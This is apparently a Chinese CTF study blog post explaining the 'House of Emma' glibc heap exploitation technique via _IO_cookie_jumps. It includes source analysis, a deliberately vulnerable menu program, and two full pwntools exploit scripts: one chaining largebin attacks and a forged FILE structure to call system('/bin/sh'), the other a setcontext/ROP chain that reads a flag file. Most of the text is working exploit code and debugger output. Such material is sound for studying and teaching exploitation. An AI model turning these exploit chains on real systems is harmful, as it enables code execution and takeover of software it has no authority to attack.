House of Emma
参考文献
第七届“湖湘杯” House _OF _Emma | 设计思路与解析-安全KER - 安全资讯平台
文章 - house of emma 心得体会 - 先知社区
前一篇博客【我的 PWN 学习手札】House of Kiwi-CSDN博客的利用手法有两个关键点,其一是利用__malloc_assert
进入IO
链,其二是劫持全局的_IO_file_jumps_
指针。然而当遇到_IO_file_jumps_
不可写的时候,House of Kiwi
这种方法失效。高版本的libc
取消了__malloc_hook
和__free_hook
等hook
,因此在Kiwi
失效的情况下,寻找其他合法的vtable
表,即在__start___libc_IO_vtables - __stop___libc_IO_vtables
之间的表,看能否被我们利用。
House of Emma
主要就是找到了一条利用虚表的链子,通过借助_IO_cookie_jumps
中的函数指针来实现类似劫持Hook
从而控制程序执行流的效果。
一、源码分析
libio/iofopncook.c
中定义了满足vtable
合法性要求的表_IO_cookie_jumps
,在__start___libc_IO_vtables - __stop___libc_IO_vtables
之间
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_cookie_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_file_setbuf),
JUMP_INIT(sync, _IO_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_cookie_read),
JUMP_INIT(write, _IO_cookie_write),
JUMP_INIT(seek, _IO_cookie_seek),
JUMP_INIT(close, _IO_cookie_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue),
};
表内的
_IO_cookie_read
_IO_cookie_write
_IO_cookie_seek
_IO_cookie_close
这几个函数的实现,更具体来说是先提取虚表上的函数指针与参数,然后调用对应函数指针来实现的:
libio/iofopncook.c
static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (read_cb);
#endif
if (read_cb == NULL)
return -1;
return read_cb (cfile->__cookie, buf, size);
}
static ssize_t
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (write_cb);
#endif
if (write_cb == NULL)
{
fp->_flags |= _IO_ERR_SEEN;
return 0;
}
ssize_t n = write_cb (cfile->__cookie, buf, size);
if (n < size)
fp->_flags |= _IO_ERR_SEEN;
return n;
}
static off64_t
_IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (seek_cb);
#endif
return ((seek_cb == NULL
|| (seek_cb (cfile->__cookie, &offset, dir)
== -1)
|| offset == (off64_t) -1)
? _IO_pos_BAD : offset);
}
static int
_IO_cookie_close (FILE *fp)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_close_function_t *close_cb = cfile->__io_functions.close;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (close_cb);
#endif
if (close_cb == NULL)
return 0;
return close_cb (cfile->__cookie);
}
以_IO_cookie_read
为例,将(FILE *)
的fp
转换为struct _IO_cookie_file
,然后从虚表中提取出cookie_read_function_t *read_cb
函数指针,将__cookie
成员作为其中一个参数进行调用。
/* Special file type for fopencookie function. */
struct _IO_cookie_file
{
struct _IO_FILE_plus __fp;
void *__cookie;
cookie_io_functions_t __io_functions;
};
可以看到,_IO_cookie_file
的结构由来,依旧是采用类似继承的方式,通过扩展_IO_FILE_plus
类型,添加__cookie
和__io_functions
成员,即参数和虚表。在libio/bits/types/cookie_io_functions_t.h
可以看到对结构体中虚表的声明:
/* The structure with the cookie function pointers.
The tag name of this struct is _IO_cookie_io_functions_t to
preserve historic C++ mangled names for functions taking
cookie_io_functions_t arguments. That name should not be used in
new code. */
typedef struct _IO_cookie_io_functions_t
{
cookie_read_function_t *read; /* Read bytes. */
cookie_write_function_t *write; /* Write bytes. */
cookie_seek_function_t *seek; /* Seek/tell file position. */
cookie_close_function_t *close; /* Close file. */
} cookie_io_functions_t;
对于虚表的利用,类似于hook
,我们可以劫持这些虚表指针,劫持参数,实现程序执行流的劫持。
然而glibc
设计者也不是吃素的,对于这些虚表指针,是经过加密保护的:
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (write_cb);
#endif
由于搜出来该宏定义的位置比较多,这里通过调试来确认加解密过程。定位到_IO_cookie_write
函数汇编代码,看看函数指针在调用前是如何进行解密的。
pwndbg> x/20i _IO_cookie_write
0x7ffff7c78800 <_IO_cookie_write>: endbr64
0x7ffff7c78804 <_IO_cookie_write+4>: push rbp
0x7ffff7c78805 <_IO_cookie_write+5>: push rbx
0x7ffff7c78806 <_IO_cookie_write+6>: mov rbx,rdi
0x7ffff7c78809 <_IO_cookie_write+9>: sub rsp,0x8
0x7ffff7c7880d <_IO_cookie_write+13>: mov rax,QWORD PTR [rdi+0xf0]
0x7ffff7c78814 <_IO_cookie_write+20>: ror rax,0x11
0x7ffff7c78818 <_IO_cookie_write+24>: xor rax,QWORD PTR fs:0x30
0x7ffff7c78821 <_IO_cookie_write+33>: test rax,rax
0x7ffff7c78824 <_IO_cookie_write+36>: je 0x7ffff7c78837 <_IO_cookie_write+55>
0x7ffff7c78826 <_IO_cookie_write+38>: mov rbp,rdx
0x7ffff7c78829 <_IO_cookie_write+41>: mov rdi,QWORD PTR [rdi+0xe0]
0x7ffff7c78830 <_IO_cookie_write+48>: call rax
0x7ffff7c78832 <_IO_cookie_write+50>: cmp rbp,rax
0x7ffff7c78835 <_IO_cookie_write+53>: jle 0x7ffff7c7883a <_IO_cookie_write+58>
0x7ffff7c78837 <_IO_cookie_write+55>: or DWORD PTR [rbx],0x20
0x7ffff7c7883a <_IO_cookie_write+58>: add rsp,0x8
0x7ffff7c7883e <_IO_cookie_write+62>: pop rbx
0x7ffff7c7883f <_IO_cookie_write+63>: pop rbp
0x7ffff7c78840 <_IO_cookie_write+64>: ret
pwndbg> tls
tls : 0x7ffff7fbb740
pwndbg> tele 0x7ffff7fbb740+0x30
00:0000│ 0x7ffff7fbb770 ◂— 0xe90cc09eeee59ad5
01:0008│ 0x7ffff7fbb778 ◂— 0
... ↓ 6 skipped
pwndbg>
可以看到加密的函数指针存在rax
寄存器中,通过ror(Rotate Right)
循环右移11
位,然后和fs:0x30
位置的数据进行xor
异或,就得到了真正的函数指针。在x86-64linux
中使用fs
段寄存器来指向线程本地存储,也即tls
。上述调试信息打印出来了用于异或的数值。
二、House of Emma利用手法
基于上述源码分析结果,我们可以大致明确我们的目标就是设法劫持_IO_cookie_jumps
,调用相关被劫持函数指针从而劫持程序执行流实现利用。
- 泄露
libc
、heap
基址 largebin attack
写stderr
指针- 第二次
largebin attack
写fs:0x30
的guard
- 修复
largebin
并申请出堆块 - 如果打
ROP
,则在其他堆块上布置好ROP
链 - 在申请的堆块上伪造
_IO_cookie_file
类型结构体,设置好vtable
指针指向_IO_cookie_jumps
的合适偏移,设置好_cookie
和__io_functions
的函数指针 - 通过
House of Kiwi
链子__malloc_assert
或其他方式触发IO
,触发程序流劫持
以pwn.c
模板为例
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char *chunk_list[0x100];
#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
while (1) {
menu();
int choice = get_num();
switch (choice) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
_exit(0);
default:
puts("invalid choice.");
}
}
}
首先泄露libc
和heap
add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)
# leak libc & heap
delete(2)
delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & ~0xfff
success("heap base:" + hex(heap_base))
show(2)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00'))-0x1f2ce0
tls = libc.address + 0x3bb740
guard = tls + 0x30
file_addr = heap_base + 0x6d0
success("libc base:" + hex(libc.address))
success("stderr:" + hex(libc.sym['stderr']))
success("tls:" + hex(tls))
success("guard:" + hex(guard))
add(0,0x418)
第一次largebin attack
篡改stderr
指针
# hijack stderr
edit(2, p64(0) * 3 + p64(libc.sym['stderr'] - 0x20))
delete(0)
add(0,0x408)
第二次largebin attack
修改tls
附近的guard
# hijack guard
edit(2,p64(0)*3+p64(guard-0x20))
delete(0)
add(0,0x3f8)
然后修复并申请出堆heap_base+0x6d0
的堆块
# fix & malloc chunk
edit(2,p64(libc.sym['main_arena']+1104)*2+p64(file_addr)*2)
add(2,0x428)
将在申请出来的堆块上布置_IO_cookie_file
结构体,计算vtable
pwndbg> p &_IO_cookie_jumps.__write
$18 = (_IO_write_t *) 0x7ffff7df3b78 <_IO_cookie_jumps+120>
pwndbg> p &_IO_cookie_jumps
$19 = (const struct _IO_jump_t *) 0x7ffff7df3b00 <_IO_cookie_jumps>
pwndbg> p/x 0x7ffff7df3b78-0x7ffff7df3b00
$20 = 0x78
pwndbg> p &_IO_file_jumps.__xsputn
$21 = (_IO_xsputn_t *) 0x7ffff7df45b8 <__GI__IO_file_jumps+56>
pwndbg> p &_IO_file_jumps
$22 = (const struct _IO_jump_t *) 0x7ffff7df4580 <__GI__IO_file_jumps>
pwndbg> p/x 0x7ffff7df45b8-0x7ffff7df4580
$23 = 0x38
pwndbg> p/x 0x78-0x38
$24 = 0x40
布置结构体,先确保vtable
设置合理,能够触发目标函数,然后再填写_cookie
字段和__io_functions
字段
fake_file = b''
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(libc.sym['system']) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(0) # _IO_buf_base;
fake_file += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00') # adjust to vtable
fake_file += p64(libc.sym['_IO_cookie_jumps']+0x40) # fake vtable
edit(2,fake_file)
可以看到,程序通过__malloc_assert
进入IO
,执行的函数已经被我们替换到_IO_cookie_write
► 0x7ffff7c6f055 <__vfprintf_internal+261> call qword ptr [rbx + 0x38] <__SI_IO_new_file_xsputn_12>
rdi: 0x55555555c6d0 ◂— 0
rsi: 0x7ffff7dba110 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"
rdx: 0
rcx: 0
----------------------------------------------------------------------------------------------------
► 0x7ffff7c6f055 <__vfprintf_internal+261> call qword ptr [rbx + 0x38] <_IO_cookie_write>
rdi: 0x55555555c6d0 ◂— 0
rsi: 0x7ffff7dba110 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"
rdx: 0
然后我们可以简单地设置函数指针为system
,参数设为字符串/bin/sh\x00
的指针
...
fake_file += p64(libc.sym['_IO_cookie_jumps'] + 0x40) # fake vtable
fake_file += p64(libc.search(b"/bin/sh\x00").__next__())
fake_file += p64(0)
fake_file += p64(rol(libc.sym['system'] ^ file_addr, 0x11)) #_IO_cookie_write
fake_file += p64(0)
fake_file += p64(0)
然后触发__malloc_assert
# trigger __malloc_assert
edit(3, 0x20 * b'\x00')
gdb.attach(io, 'b __malloc_assert\n')
add(10, 0x500)
从而getshell
from pwn import *
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.arch = elf.arch
context.log_level = 'debug'
context.os = elf.os
def add(index, size):
io.sendafter(b"choice:", b"1")
io.sendafter(b"index:", str(index).encode())
io.sendafter(b"size:", str(size).encode())
def delete(index):
io.sendafter(b"choice:", b"2")
io.sendafter(b"index:", str(index).encode())
def edit(index, content):
io.sendafter(b"choice:", b"3")
io.sendafter(b"index:", str(index).encode())
io.sendafter(b"length:", str(len(content)).encode())
io.sendafter(b"content:", content)
def show(index):
io.sendafter(b"choice:", b"4")
io.sendafter(b"index:", str(index).encode())
io = process("./pwn")
add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)
# leak libc & heap
delete(2)
delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & ~0xfff
success("heap base:" + hex(heap_base))
show(2)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1f2ce0
tls = libc.address + 0x3bb740
guard = tls + 0x30
file_addr = heap_base + 0x6d0
success("libc base:" + hex(libc.address))
success("stderr:" + hex(libc.sym['stderr']))
success("tls:" + hex(tls))
success("guard:" + hex(guard))
add(0, 0x418)
# hijack stderr
edit(2, p64(0) * 3 + p64(libc.sym['stderr'] - 0x20))
delete(0)
add(0, 0x408)
# hijack guard
edit(2, p64(0) * 3 + p64(guard - 0x20))
delete(0)
add(0, 0x3f8)
# fix & malloc chunk
edit(2, p64(libc.sym['main_arena'] + 1104) * 2 + p64(file_addr) * 2)
add(2, 0x428)
payload_addr = heap_base +0x2a0
fake_file = b''
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(libc.sym['system']) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(0) # _IO_buf_base;
fake_file += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00') # adjust to vtable
fake_file += p64(libc.sym['_IO_cookie_jumps'] + 0x40) # fake vtable
fake_file += p64(libc.search(b"/bin/sh\x00").__next__())
fake_file += p64(0)
fake_file += p64(rol(libc.sym['system'] ^ file_addr, 0x11))
fake_file += p64(0)
fake_file += p64(0)
edit(2, fake_file)
# trigger __malloc_assert
edit(3, 0x20 * b'\x00')
gdb.attach(io, 'b _IO_cookie_write\nc')
add(10, 0x500)
io.interactive()
如果要走ROP
,则可参照【我的 PWN 学习手札】新版本libc下的setcontext与平替gadget_setcontext pwn rdx-CSDN博客,稍微修改一下板子即可
from pwn import *
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.arch = elf.arch
context.log_level = 'debug'
context.os = elf.os
def add(index, size):
io.sendafter(b"choice:", b"1")
io.sendafter(b"index:", str(index).encode())
io.sendafter(b"size:", str(size).encode())
def delete(index):
io.sendafter(b"choice:", b"2")
io.sendafter(b"index:", str(index).encode())
def edit(index, content):
io.sendafter(b"choice:", b"3")
io.sendafter(b"index:", str(index).encode())
io.sendafter(b"length:", str(len(content)).encode())
io.sendafter(b"content:", content)
def show(index):
io.sendafter(b"choice:", b"4")
io.sendafter(b"index:", str(index).encode())
io = process("./pwn")
add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)
# leak libc & heap
delete(2)
delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & ~0xfff
success("heap base:" + hex(heap_base))
show(2)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1f2ce0
tls = libc.address + 0x3bb740
guard = tls + 0x30
file_addr = heap_base + 0x6d0
success("libc base:" + hex(libc.address))
success("stderr:" + hex(libc.sym['stderr']))
success("tls:" + hex(tls))
success("guard:" + hex(guard))
add(0, 0x418)
# hijack stderr
edit(2, p64(0) * 3 + p64(libc.sym['stderr'] - 0x20))
delete(0)
add(0, 0x408)
# hijack guard
edit(2, p64(0) * 3 + p64(guard - 0x20))
delete(0)
add(0, 0x3f8)
# fix & malloc chunk
edit(2, p64(libc.sym['main_arena'] + 1104) * 2 + p64(file_addr) * 2)
add(2, 0x428)
payload_addr = heap_base +0x2a0
fake_file = b''
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(libc.sym['system']) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(0) # _IO_buf_base;
fake_file += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00') # adjust to vtable
fake_file += p64(libc.sym['_IO_cookie_jumps'] + 0x40) # fake vtable
# fake_file += p64(libc.search(b"/bin/sh\x00").__next__())
fake_file += p64(payload_addr)
fake_file += p64(0)
gadget_addr=libc.search(asm('mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];'),executable=True).__next__()
success(hex(gadget_addr))
# fake_file += p64(rol(libc.sym['system'] ^ file_addr, 0x11))
fake_file += p64(rol(gadget_addr ^ file_addr, 0x11))
fake_file += p64(0)
fake_file += p64(0)
edit(2, fake_file)
ROP_addr=payload_addr+0x8
flag_addr=payload_addr+0x100
frame_addr=payload_addr+0x150
buf_addr=payload_addr+0x200
ROP_chain=b''
# read(3,buf,0x20)
ROP_chain+=p64(libc.search(asm('pop rdi;ret'),executable=True).__next__())
ROP_chain+=p64(3)
ROP_chain+=p64(libc.search(asm('pop rsi;ret'),executable=True).__next__())
ROP_chain+=p64(buf_addr)
ROP_chain+=p64(libc.search(asm('pop rdx ; pop rbx ; ret'),executable=True).__next__()) #所选libc没有直接的pop rdx;ret
ROP_chain+=p64(0x20)
ROP_chain+=p64(0)
ROP_chain+=p64(libc.sym['read'])
# puts(buf) write(1,buf,0x20)
ROP_chain+=p64(libc.search(asm('pop rdi;ret'),executable=True).__next__())
ROP_chain+=p64(1)
ROP_chain+=p64(libc.search(asm('pop rsi;ret'),executable=True).__next__())
ROP_chain+=p64(buf_addr)
ROP_chain+=p64(libc.search(asm('pop rdx ; pop rbx ; ret'),executable=True).__next__()) #所选libc没有直接的pop rdx;ret
ROP_chain+=p64(0x20)
ROP_chain+=p64(0)
ROP_chain+=p64(libc.sym['write'])
payload=p64(0)
payload+=p64(frame_addr)
payload+=ROP_chain
payload=payload.ljust(0x100,b'\x00')
payload+=b'./flag\x00'
payload=payload.ljust(0x150,b'\x00')
frame=SigreturnFrame()
# open("./flag")
frame.rdi=flag_addr
frame.rip=libc.sym['open']
frame.rsp=payload_addr+0x10
frame=bytearray(frame.__bytes__())
frame[0x20:0x20+8]=p64(libc.sym['setcontext']+61)
payload+=bytes(frame)
edit(0,payload)
# trigger __malloc_assert
edit(3, 0x20 * b'\x00')
gdb.attach(io, 'b _IO_cookie_write\nc')
add(10, 0x500)
io.interactive()